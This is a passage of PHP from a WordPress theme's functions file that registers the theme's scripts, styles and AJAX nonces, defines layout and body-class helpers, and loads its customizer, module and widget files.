		wp_register_script('penci-contact-form', PENCI_SOLEDAD_URL . '/js/contact-form.js', '', PENCI_SOLEDAD_VERSION, true);

        wp_register_script('gsap', PENCI_SOLEDAD_URL . '/js/gsap.min.js', '', PENCI_SOLEDAD_VERSION, true);
		wp_register_script('ff40', PENCI_SOLEDAD_URL . '/js/ff40.js', '', PENCI_SOLEDAD_VERSION, true);
		wp_register_script('mtp-filters', PENCI_SOLEDAD_URL . '/js/mtp-filters.js', '', PENCI_SOLEDAD_VERSION, true);
		wp_register_script( 'jquery.pjax', PENCI_SOLEDAD_URL . '/js/jquery.pjax.js', array(), PENCI_SOLEDAD_VERSION, true );

		wp_enqueue_script('pc-lazy');

		if (get_theme_mod('penci_enable_featured_video_bg') || is_page()) {
			if (is_page()) {
				$metavideo = get_post_meta(get_the_ID(), 'penci_page_slider', true);
			}
			if (get_theme_mod('penci_enable_featured_video_bg') || (is_page() && 'video' == $metavideo)) {
				wp_enqueue_script('penci-video-background', PENCI_SOLEDAD_URL . '/js/video-background.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
			}
		}

		if (get_theme_mod('penci_single_font_changer')) {
			wp_enqueue_script('jquery.range-min.js', PENCI_SOLEDAD_URL . '/js/jquery.range-min.js', array(), PENCI_SOLEDAD_VERSION, true);
		}

		wp_enqueue_script('penci-libs-js', PENCI_SOLEDAD_URL . '/js/libs-script.min.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);

		if (get_theme_mod('penci_enable_smooth_scroll') ) {
			wp_enqueue_script('penci-smoothscroll', PENCI_SOLEDAD_URL . '/js/smoothscroll.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		}
		$minify_js = get_theme_mod('penci_speed_js_minify');
		$sub_fix_min = $minify_js ? '.min' : '';

		wp_enqueue_script('main-scripts', PENCI_SOLEDAD_URL . '/js/main' . $sub_fix_min . '.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);

		if (defined('ELEMENTOR_VERSION')) {
			if (\Elementor\Plugin::$instance->preview->is_preview_mode()) {
				wp_enqueue_script('penci-elementor', PENCI_SOLEDAD_URL . '/js/elementor.js', array('main-scripts'), PENCI_SOLEDAD_VERSION, true);
			}
		}

		wp_localize_script('main-scripts', 'ajax_var_more', $localize_script);

		wp_enqueue_script('penci_ajax_like_post', PENCI_SOLEDAD_URL . '/js/post-like' . $sub_fix_min . '.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_register_script('penci_ajax_more_posts', PENCI_SOLEDAD_URL . '/js/more-post' . $sub_fix_min . '.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_more_posts',
			'penci_ajax_more_posts',
			array(
				'nonce' => wp_create_nonce('penci_more_post_ajax'),
			)
		);
		wp_register_script('penci_ajax_more_scroll', PENCI_SOLEDAD_URL . '/js/more-post-scroll' . $sub_fix_min . '.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_more_scroll',
			'pajax_mscroll',
			array(
				'nonce' => wp_create_nonce('penci_more_post_ajax'),
			)
		);
		wp_register_script('penci_ajax_archive_more_scroll', PENCI_SOLEDAD_URL . '/js/archive-more-post' . $sub_fix_min . '.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_archive_more_scroll',
			'pcajaxamore_scroll',
			array(
				'nonce' => wp_create_nonce('archive-more-post'),
			)
		);
		wp_register_script('penci_bgajax_more_posts', PENCI_SOLEDAD_URL . '/js/more-post-bg.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_bgajax_more_posts',
			'pcbgajax_more_posts',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_bg'),
			)
		);
		wp_register_script('penci_bgajax_more_scroll', PENCI_SOLEDAD_URL . '/js/more-post-scroll-bg.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_bgajax_more_scroll',
			'pc_bgajax_more_scroll',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_bg'),
			)
		);
		wp_register_script('penci_megamenu', PENCI_SOLEDAD_URL . '/js/megamenus.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_megamenu',
			'penci_megamenu_var',
			array(
				'url' 	=> get_theme_mod('penci_handle_ajax_with_rest_api') ? esc_url(rest_url('penci/v1/get_menu_data')) : esc_url(admin_url('admin-ajax.php')),
				'nonce' => wp_create_nonce('penci_megamenu'),
			)
		);

		if (get_theme_mod('penci_page_navigation_ajax') && !get_theme_mod('penci_page_navigation_scroll')) {
			wp_enqueue_script('penci_ajax_more_posts');
		}

		if (get_theme_mod('penci_page_navigation_scroll')) {
			wp_enqueue_script('penci_ajax_more_scroll');
		}


		if (get_theme_mod('penci_archive_nav_ajax') || get_theme_mod('penci_archive_nav_scroll')) {
			wp_enqueue_script('penci_ajax_archive_more_scroll');
		}

		wp_register_script('penci_bgajax_more_terms', PENCI_SOLEDAD_URL . '/js/more-terms-bg.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_bgajax_more_terms',
			'penci_bgajax_more_terms',
			array(
				'nonce' => wp_create_nonce('penci_ajax_terms_filter_bg'),
				'url' => admin_url('admin-ajax.php'),
			)
		);

		wp_register_script('penci_bgajax_more_terms_scroll', PENCI_SOLEDAD_URL . '/js/more-terms-scroll-bg.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_bgajax_more_terms_scroll',
			'penci_bgajax_more_terms',
			array(
				'nonce' => wp_create_nonce('penci_ajax_terms_filter_bg'),
				'url' => admin_url('admin-ajax.php'),
			)
		);

		wp_register_script('penci_ajax_filter_terms_bg', PENCI_SOLEDAD_URL . '/js/ajax-filter-terms.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_filter_terms_bg',
			'penci_ajax_terms_filter_bg',
			array(
				'nonce' => wp_create_nonce('penci_ajax_terms_filter_bg'),
				'url' => admin_url('admin-ajax.php'),
			)
		);

		// js for comments
		if (is_singular() && get_option('thread_comments')) {
			wp_enqueue_script('comment-reply');
		}

		// register
		wp_register_script('penci_ajax_filter_bg', PENCI_SOLEDAD_URL . '/js/ajax-filter-bg.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_filter_bg',
			'pcfilterbg_ajax',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_bg'),
			)
		);
		wp_register_script('penci_ajax_filter_slist', PENCI_SOLEDAD_URL . '/js/ajax-filter-slist.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_filter_slist',
			'pcslist_ajax',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_slist'),
			)
		);
		wp_register_script('penci_ajax_filter_fcat', PENCI_SOLEDAD_URL . '/js/ajax-filter-fcat.js', array(), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_filter_fcat',
			'pcfcat_ajax',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_fcat'),
			)
		);
		wp_register_script('penci_ajax_filter_latest', PENCI_SOLEDAD_URL . '/js/ajax-filter-latest.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_ajax_filter_latest',
			'pclatest_ajax',
			array(
				'nonce' => wp_create_nonce('penci_more_post_ajax'),
			)
		);
		wp_register_script('penci_slajax_more_posts', PENCI_SOLEDAD_URL . '/js/ajax-more-slist.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_slajax_more_posts',
			'penci_slajax',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_slist'),
			)
		);
		wp_register_script('penci_slajax_more_scroll', PENCI_SOLEDAD_URL . '/js/ajax-more-scroll-slist.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_slajax_more_scroll',
			'penci_smlajax',
			array(
				'nonce' => wp_create_nonce('penci_ajax_filter_slist'),
			)
		);
		wp_register_script('penci_widget_tabs', PENCI_SOLEDAD_URL . '/js/widget-tabs.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_register_script('penci_widgets_ajax', PENCI_SOLEDAD_URL . '/js/widgets-ajax.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script(
			'penci_widgets_ajax',
			'penci_widgets_ajax',
			array(
				'url' => admin_url('admin-ajax.php'),
				'nonce' => wp_create_nonce('penci_widgets_ajax'),
			)
		);
		wp_register_script('penci_tiktok_embed', 'https://www.tiktok.com/embed.js', '', PENCI_SOLEDAD_VERSION);
		wp_register_script('penci_web_stories', PENCI_SOLEDAD_URL . '/js/web-stories.js', '', PENCI_SOLEDAD_VERSION);

		wp_register_script('penci-animate-headline', PENCI_SOLEDAD_URL . '/js/heading-animates.js', array('jquery', 'elementor-frontend-modules'), PENCI_SOLEDAD_VERSION);
		wp_register_script('penci-float-banner', PENCI_SOLEDAD_URL . '/js/float-banner.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);

		wp_register_style('jquery.toast', PENCI_SOLEDAD_URL . '/css/jquery.toast.min.css', array(), PENCI_SOLEDAD_VERSION);
		wp_register_script('jquery.toast', PENCI_SOLEDAD_URL . '/js/jquery.toast.min.js', array(), PENCI_SOLEDAD_VERSION, true);
		wp_register_script('jquery.inview', PENCI_SOLEDAD_URL . '/js/inview.js', array(), PENCI_SOLEDAD_VERSION, true);


		if (get_theme_mod('penci_enable_reading_bar')) {
			wp_enqueue_script('penci-header-scroll', PENCI_SOLEDAD_URL . '/js/header-scroll.js', array('jquery','jquery.inview'), PENCI_SOLEDAD_VERSION, true);
		}

		wp_enqueue_script('penci-sticky-share', PENCI_SOLEDAD_URL . '/js/sticky_share.js', array('jquery','jquery.inview'), PENCI_SOLEDAD_VERSION, true);
		wp_register_script('penci-marquee', PENCI_SOLEDAD_URL . '/js/penci-marquee.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_register_script('penci-abc-scroll', PENCI_SOLEDAD_URL . '/js/abc-scroll.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);

        if ( defined('MC4WP_VERSION' ) && get_theme_mod( 'penci_mc4wp_ajax', true ) ) {
            wp_enqueue_script('penci-mc4wp', PENCI_SOLEDAD_URL . '/js/mc4wp-form.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
        }

		if (get_theme_mod('penci_textshare_enable')){
			$share_services = explode(',',get_theme_mod('penci_textshare_services','facebook,twitter'));
        	wp_enqueue_script('penci-selection-sharer', PENCI_SOLEDAD_URL . '/js/selection-sharer.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
        	wp_localize_script(
				'penci-selection-sharer',
				'penci_selection_sharer',
				array(
					'bgcolor' => get_theme_mod('penci_textshare_bgcolor','#ffffff') ? get_theme_mod('penci_textshare_bgcolor','#ffffff') : '#ffffff',
					'txtcolor' => get_theme_mod('penci_textshare_txtcolor','#333333') ? get_theme_mod('penci_textshare_txtcolor','#333333') : '#333333',
					'facebook' => (boolean) in_array('facebook',$share_services),
					'facebookid' => get_theme_mod('penci_fbappid'),
					'twitter' => (boolean) in_array('twitter',$share_services),
					'linkedin' => (boolean) in_array('likedin',$share_services),
					'whatsapp' => (boolean) in_array('whatsapp',$share_services),
					'telegram' => (boolean) in_array('telegram',$share_services),
					'copy' => (boolean) in_array('copy',$share_services),
				)
			);
    	}
		
		if ( get_theme_mod( 'penci_cursor_enable' ) ) {
			wp_enqueue_script('penci-cursor-effect', PENCI_SOLEDAD_URL . '/js/cursor.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		}

		if ( get_theme_mod( 'penci_enable_content_protection' ) ) {
			wp_enqueue_script('penci-content-protector', PENCI_SOLEDAD_URL . '/js/content-protector.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		}

		if ( get_theme_mod( 'penci_archive_enable_animation' ) ) {
			wp_enqueue_style('penci-archive-animation', PENCI_SOLEDAD_URL . '/css/animate.css', array(), PENCI_SOLEDAD_VERSION);
			wp_enqueue_script('penci-archive-animation', PENCI_SOLEDAD_URL . '/js/archive-animation.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		}

		wp_register_script('penci-nav-scroll', PENCI_SOLEDAD_URL . '/js/nav-scroll.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);

		wp_register_style( 'penci-timeline', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/timeline.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-marquee-widget', PENCI_SOLEDAD_URL . '/js/jquery.marquee.min.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
		
	}
}

add_action( 'customize_controls_enqueue_scripts', function() {
	wp_enqueue_script('customizer-helper-2', PENCI_SOLEDAD_URL . '/js/customizer-helper.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
});

add_action( 'customize_preview_init', function() {
	wp_enqueue_script('customizer-helper-preview', PENCI_SOLEDAD_URL . '/js/customizer-preview.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
	wp_localize_script(
				'customizer-helper-preview',
				'PenciPreview',
				array(
					'widgetURL' => admin_url('widgets.php'),
				)
			);
});

add_action('wp_enqueue_scripts',function(){
	if (get_theme_mod('penci_archive_ajax_navigation') ) {
		wp_enqueue_script('penci_archive_ajax_navigation',PENCI_SOLEDAD_URL . '/js/archive_ajax_navigation.js', array('jquery','jquery.pjax'), PENCI_SOLEDAD_VERSION, true);
		wp_localize_script('penci_archive_ajax_navigation', 'PCAJXNAV', penci_soledad_archive_pag_attr());
	}
}, 999 );


/**
 * Enqueue styles/scripts
 * Hook to action wp_enqueue_scripts
 *
 * @return void
 *@since 2.0
 */
if (!function_exists('penci_load_admin_scripts')) {
	add_action('admin_enqueue_scripts', 'penci_load_admin_scripts', 0 );
	function penci_load_admin_scripts($hook) {

		wp_enqueue_style('admin-css', PENCI_SOLEDAD_URL . '/css/admin.css', array(), PENCI_SOLEDAD_VERSION);
		wp_enqueue_script('opts-field-upload-js', PENCI_SOLEDAD_URL . '/js/field_upload.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		wp_enqueue_media();
		wp_enqueue_style('wp-color-picker');
		wp_enqueue_script('penci-opts-color-js', PENCI_SOLEDAD_URL . '/js/field_color.js', array('jquery', 'wp-color-picker'), PENCI_SOLEDAD_VERSION, true);
		wp_enqueue_script('jquery-ui-sortable', array('jquery'));
		wp_enqueue_script('reorder-slides', PENCI_SOLEDAD_URL . '/js/reorder.js', array('jquery'), false, PENCI_SOLEDAD_VERSION);

		if ($hook == 'widgets.php' || 'nav-menus.php' == $hook) {
			wp_enqueue_script('penci-admin-widget', PENCI_SOLEDAD_URL . '/js/admin-widget.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);

			wp_localize_script(
				'penci-admin-widget',
				'Penci',
				array(
					'ajaxUrl' => admin_url('admin-ajax.php'),
					'nonce' => wp_create_nonce('ajax-nonce'),
					'sidebarAddFails' => esc_html__('Adding custom sidebar fails.', 'soledad'),
					'sidebarRemoveFails' => esc_html__('Removing custom sidebar fails.', 'soledad'),
					'cfRemovesidebar' => esc_html__('Are you sure you want to remove this custom sidebar?', 'soledad'),
				)
			);
		}

		if (function_exists('getpaid')) {
			wp_enqueue_script('penci-admin-getpaid', PENCI_SOLEDAD_URL . '/js/getpaid.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
		}

        if ($hook == 'post.php' ) {
            wp_enqueue_script('penci-admin-post', PENCI_SOLEDAD_URL . '/js/admin-post.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
        }

		wp_enqueue_style( 'wp-edit-blocks' );
	}
}

/* Define item posts per page for each big grid style */
if (!function_exists('penci_big_grid_count_item')) {
	function penci_big_grid_count_item($biggid_style) {
		$count = 5;
		if (in_array($biggid_style, array('style-3', 'style-5', 'style-13', 'style-17'))) {
			$count = 3;
		} elseif (in_array($biggid_style, array('style-7', 'style-8', 'style-11', 'style-12', 'style-14', 'style-16', 'style-18'))) {
			$count = 4;
		} elseif (in_array($biggid_style, array('style-15'))) {
			$count = 6;
		} elseif (in_array($biggid_style, array('style-19', 'style-20', 'style-21', 'style-22'))) {
			$count = 7;
		}

		return $count;
	}
}

/* Define big grid current item is big items or not */
if (!function_exists('penci_big_grid_is_big_items')) {
	function penci_big_grid_is_big_items($biggid_style) {
		$return = array();

		if (in_array($biggid_style, array('style-3', 'style-4', 'style-5', 'style-6', 'style-8', 'style-12', 'style-13', 'style-14', 'style-15', 'style-17'))) {
			$return = array(1);
		} elseif (in_array($biggid_style, array('style-7', 'style-9'))) {
			$return = array(1, 2);
		} elseif (in_array($biggid_style, array('style-10', 'style-11'))) {
			$return = array(4, 0);
		} elseif (in_array($biggid_style, array('style-16', 'style-18'))) {
			$return = array(1, 0);
		} elseif (in_array($biggid_style, array('style-19'))) {
			$return = array(3, 0);
		} elseif (in_array($biggid_style, array('style-20'))) {
			$return = array(1, 6);
		} elseif (in_array($biggid_style, array('style-21'))) {
			$return = array(1, 2, 3);
		} elseif (in_array($biggid_style, array('style-22'))) {
			$return = array(5, 6, 0);
		}

		return $return;
	}
}

/* Get item counter for big grid */
if (!function_exists('penci_big_grid_count_classes')) {
	function penci_big_grid_count_classes($bg, $biggid_style, $surplus = false) {
		$classes = $num = '';

		if (!in_array($biggid_style, array('style-1', 'style-2'))) {
			$num = penci_big_grid_count_item($biggid_style);
		}

		if ($num) {
			$sur_plus = $bg % $num;
			$classes = ' bgitem-' . $sur_plus;
			if ($surplus == true) {
				$classes = $sur_plus;
			}
		}

		return $classes;
	}
}

/**
 * Fallback when menu location is not checked
 * Callback function in wp_nav_menu() on header.php
 *
 * @since 1.0
 */
if (!function_exists('penci_menu_fallback')) {
	function penci_menu_fallback() {
		if (!current_user_can('manage_options')) {
			echo '<ul class="menu penci-topbar-menu"><li class="menu-item-first"><a href="' . esc_url(home_url('/')) . '">Home</a></li></ul>';
		} else {
			echo '<ul class="menu penci-topbar-menu"><li class="menu-item-first"><a href="' . esc_url(home_url('/')) . 'wp-admin/nav-menus.php?action=locations">Create or select a menu</a></li></ul>';
		}
	}
}

/**
 * Add more penci-body-boxed to body_class() function
 * This class will add more when body boxed is enable
 *
 * @package WordPress
 * @since 1.0
 */

if (!function_exists('penci_add_more_body_boxed_class')) {
	add_filter('body_class', 'penci_add_more_body_boxed_class');
	function penci_add_more_body_boxed_class($classes) {

        if ( get_theme_mod( 'penci_archive_disable_desc_collapse', true ) ) {
            $classes[] = 'penci-disable-desc-collapse';
        }

		if (get_theme_mod('penci_body_boxed_layout') && !get_theme_mod('penci_vertical_nav_show')) {
			// add 'penci-body-boxed' to the $classes array
			$classes[] = 'penci-body-boxed';
		}

		if (defined('PENCI_SOLEDAD_VERSION')) {
			$version = PENCI_SOLEDAD_VERSION;
			$version_render = 'soledad-ver-' . str_replace('.', '-', $version);
			$classes[] = $version_render;
		}

		if (get_theme_mod('penci_vertical_nav_show')) {
			$classes[] = 'penci-vernav-enable';
			$class_post = 'penci-vernav-poleft';
			if (get_theme_mod('penci_menu_hbg_pos') == 'right') {
				$class_post = 'penci-vernav-poright';
			}
			$classes[] = $class_post;
		}

		if (get_theme_mod('penci_vernav_click_parent')) {
			$classes[] = 'penci-vernav-cparent';
		}

		if (get_theme_mod('penci_menu_hbg_click_parent')) {
			$classes[] = 'penci-hbg-cparent';
		}

		if (get_theme_mod('penci_enable_dark_layout')) {
			$classes[] = 'pcdark-df';
		}

		if (get_theme_mod('penci_enable_dark_layout')) {
			$classes[] = 'pcdark-mode';
		} else {
			$classes[] = 'pclight-mode';
		}

		if (get_theme_mod('penci_catdesign')) {
			$pccat_design = get_theme_mod('penci_catdesign');
			if ($pccat_design) {
				$classes[] = 'pccatds-filled';
				$classes[] = 'pccatdss-' . $pccat_design;
			}
		}

		if (is_singular() && !is_page()) {
			$single_style = penci_get_single_style();

			if ( ! in_array($single_style, array('style-1', 'style-2'))) {
				$classes[] = 'penci-body-single-' . $single_style;
			}

			if (get_theme_mod('penci_move_title_bellow')) {
				$classes[] = 'penci-body-title-bellow';
			}

			$post_format = get_post_format();
			if (!has_post_thumbnail() || (get_theme_mod('penci_post_thumb') && !in_array($post_format, array('link', 'quote', 'gallery', 'video', 'audio')))) {
				$classes[] = 'penci-hide-pthumb';
			} else {
				$classes[] = 'penci-show-pthumb';
			}
		}

		$classes[] = 'pcmn-drdw-style-' . get_theme_mod('penci_header_menu_ani_style', 'slide_down');

		$header_builder = function_exists('penci_check_theme_mod') && penci_check_theme_mod() ? penci_check_theme_mod() : '';
		$header_search_style = !empty($header_builder) ? penci_get_builder_mod('penci_header_search_style', 'showup') : get_theme_mod('penci_topbar_search_style', 'default');
		$classes[] = 'pchds-' . esc_attr($header_search_style);

		if ( get_theme_mod( 'penci_lazyloaded_effect' ) ) {
			$classes[] = 'pclz-effs pclz-' . get_theme_mod( 'penci_lazyloaded_effect' );
		}

		if ( get_theme_mod( 'penci_toc_asticky' ) && is_singular() ) {
			$classes[] = 'penci-aw-sticky';
		}
		
		if ( get_theme_mod( 'penci_cursor_enable' ) ) {
			$classes[] = 'penci-cc-cursor';
		}

		if ( get_theme_mod( 'penci_thumbnail_zoom_effect' ) ) {
			$classes[] = 'pczoomt-effect';
		}

		if ( get_theme_mod( 'penci_header_show_submenu_overlay' ) ) {
			$classes[] = 'penci-hsubmenu-overlay';
		}

		if ( get_theme_mod( 'penci_archive_hover_underline' ) ) {
			$classes[] = 'pah-underline';
		}

		return $classes;
	}
}

/**
 * Define class for call in javascript when enable lightbox videos for video posts format
 *
 * @since 4.0.3
 */
if (!function_exists('penci_class_lightbox_enable')) {
	function penci_class_lightbox_enable() {
		$return = '';
		$post_id = get_the_ID();

		if (has_post_format('video', $post_id) && get_theme_mod('penci_grid_lightbox_video')) {
			$penci_video_data = get_post_meta($post_id, '_format_video_embed', true);
			if ($penci_video_data) {
				$return = ' penci-other-layouts-lighbox';
			}
		}

		return $return;
	}
}

/**
 * Define permalink for enable lightbox videos for video posts format
 *
 * @since 4.0.3
 */
if (!function_exists('penci_permalink_fix')) {
	function penci_permalink_fix() {
		$return = get_the_permalink();
		$post_id = get_the_ID();

		if (has_post_format('video', $post_id) && get_theme_mod('penci_grid_lightbox_video')) {
			$penci_video_data = get_post_meta($post_id, '_format_video_embed', true);
			if ($penci_video_data) {
				if (wp_oembed_get($penci_video_data)) {
					$return = $penci_video_data;
				} elseif (strpos($penci_video_data, 'youtube.com') > 0) {
					preg_match('/embed\/([\w+\-+]+)[\"\?]/', $penci_video_data, $matches);
					if ($matches[1]) {
						$return = 'https://www.youtube.com/watch?v=' . $matches[1];
					}
				} elseif (strpos($penci_video_data, 'vimeo.com') > 0) {
					preg_match('/player\.vimeo\.com\/video\/([0-9]*)/', $penci_video_data, $matches);
					if ($matches[1]) {
						$return = 'https://vimeo.com/' . $matches[1];
					}
				}
			}
		}

		echo $return;
	}
}

/**
 * Penci Allow HTML use in data validation wp_kses()
 *
 * @return array HTML allow
 *@since 1.0
 */
if (!function_exists('penci_allow_html')) {
	function penci_allow_html() {
		$return = array(
			'a' => array(
				'href' => array(),
				'title' => array(),
				'target' => array(),
				'title' => array(),
			),
			'div' => array(
				'class' => array(),
				'id' => array(),
			),
			'ul' => array(
				'class' => array(),
				'id' => array(),
			),
			'ol' => array(
				'class' => array(),
				'id' => array(),
			),
			'li' => array(
				'class' => array(),
				'id' => array(),
			),
			'br' => array(),
			'h1' => array(
				'class' => array(),
				'id' => array(),
			),
			'h2' => array(
				'class' => array(),
				'id' => array(),
			),
			'h3' => array(
				'class' => array(),
				'id' => array(),
			),
			'h4' => array(
				'class' => array(),
				'id' => array(),
			),
			'h5' => array(
				'class' => array(),
				'id' => array(),
			),
			'h6' => array(
				'class' => array(),
				'id' => array(),
			),
			'img' => array(
				'alt' => array(),
				'src' => array(),
				'title' => array(),
			),
			'em' => array(),
			'b' => array(),
			'i' => array(
				'class' => array(),
				'id' => array(),
			),
			'strong' => array(
				'class' => array(),
				'id' => array(),
			),
			'span' => array(
				'class' => array(),
				'id' => array(),
			),
		);

		return $return;
	}
}

/**
 * Get categories array
 *
 * @return array $categories
 *@since 1.0
 */
if (!function_exists('penci_list_categories')) {
	function penci_list_categories() {
		$categories = get_categories(
			array(
				'hide_empty' => 0,
			)
		);

		$return = array();
		foreach ($categories as $cat) {
			$return[$cat->cat_name] = $cat->term_id;
		}

		return $return;
	}
}

/**
 * Modify more tag
 *
 * @return new markup more tags
 *@since 1.0
 */
if (!function_exists('penci_modify_more_tags')) {
	/**
	 * @param $link
	 *
	 * @return string
	 */
	function penci_modify_more_tags($link) {

		$class = 'penci-more-link';
		if (get_theme_mod('penci_standard_continue_reading_button')):
			$class = 'penci-more-link penci-more-link-button';
		endif;

		return '<div class="' . $class . '">' . $link . '</div>';
	}

	add_filter('the_content_more_link', 'penci_modify_more_tags');
}

/**
 * Include Files
 *
 * @return void
 *@since 1.0
 */

// Customizer
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/default.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/sanitizing.php';
include trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/framework/bootstrap.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/generate-css-file.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/style.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/customizer-tools/autoload.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/darkmode.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/style-page-header-title.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/customizer/style-page-header-transparent.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/fonts/fonts.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/fonts_loader.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/featured_slider/featured_slider.php';
// Modules
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/installations/installations.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/detect_mobile.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/theme-updates.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/modules/penci-render.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/modules/penci-walker.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/modules/svg-social.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/template-function.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/extra.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/videos-playlist.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/weather.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/login-popup.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/popup.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/exit_intent.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/live_visitor.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/article_feedback.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/push_notification.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/age-verify.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/social-counter/social-counter.php';
require trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/rest_api.php';

if (is_admin()) {
	include trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/auto-thumbnail.php';
}

// Widgets
if (!function_exists('penci_use_widget_title_html')) {
	add_action('init', 'penci_use_widget_title_html', 999);
	function penci_use_widget_title_html() {
		remove_filter('widget_title', 'esc_html');
	}
}
require penci_locate_template( 'inc/widgets/social_widget.php');
require penci_locate_template( 'inc/widgets/about_widget.php');
require penci_locate_template( 'inc/widgets/lastest_post_widget.php');
require penci_locate_template( 'inc/widgets/popular_post_widget.php');
require penci_locate_template( 'inc/widgets/block_heading.php');
require penci_locate_template( 'inc/widgets/facebook_widget.php');
require penci_locate_template( 'inc/widgets/related_post_widget.php');
require penci_locate_template( 'inc/widgets/posts_slider_widget.php');
require penci_locate_template( 'inc/widgets/quote_widget.php');
require penci_locate_template( 'inc/widgets/pinterest_widget.php');
require penci_locate_template( 'inc/widgets/patreon.php');
require penci_locate_template( 'inc/widgets/buymeacoffee.php');
require penci_locate_template( 'inc/widgets/list_banner.php');
require penci_locate_template( 'inc/widgets/login_register_widgets.php');
require penci_locate_template( 'inc/widgets/video_playlist.php');
require penci_locate_template( 'inc/widgets/social_counter.php');
require penci_locate_template( 'inc/widgets/advanced_categories.php');
require penci_locate_template( 'inc/widgets/categories_stylist.php');
require penci_locate_template( 'inc/widgets/authors_list.php');
require penci_locate_template( 'inc/widgets/posts_tabs.php');
require penci_locate_template( 'inc/widgets/search_box.php');
require penci_locate_template( 'inc/widgets/snapchat.php');
require penci_locate_template( 'inc/widgets/tiktok_embed.php');
require penci_locate_template( 'inc/widgets/comments.php');
require penci_locate_template( 'inc/widgets/stylisted_articles_count.php');
require penci_locate_template( 'inc/widgets/weather.php');
require penci_locate_template( 'inc/widgets/flickr.php');
require penci_locate_template( 'inc/widgets/mailchimp.php');
require penci_locate_template( 'inc/widgets/taxonomy_listing.php');
require penci_locate_template( 'inc/widgets-ajax.php');
if (defined('WEBSTORIES_VERSION')) {
	require penci_locate_template('inc/widgets/web_stories.php');
}

if (defined('PENCI_SOLEDAD_SOCIAL_FEED')) {
